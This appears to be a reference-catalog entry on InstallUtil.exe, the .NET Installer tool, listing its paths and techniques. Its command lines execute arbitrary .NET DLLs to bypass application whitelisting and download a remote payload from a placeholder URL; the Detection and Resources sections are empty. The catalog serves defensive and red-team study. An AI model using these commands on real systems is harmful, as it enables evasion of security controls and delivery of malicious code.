Installutil.exe

The Installer tool is a command-line utility that allows you to install and uninstall server resources by executing the installer components in specified assemblies

Paths

  • C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe
  • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe

Commands

AWL Bypass

Execute the target .NET DLL or EXE.

Use case: Use to execute code and bypass application whitelisting

Privileges: User

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Execute

Execute the target .NET DLL or EXE.

Use case: Use to execute code and bypass application whitelisting

Privileges: User

InstallUtil.exe /logfile= /LogToConsole=false /U {PATH:.dll}

Download

It will download a remote payload and place it in INetCache.

Use case: Downloads payload from remote server

Privileges: User

InstallUtil.exe {REMOTEURL}

Detection

Resources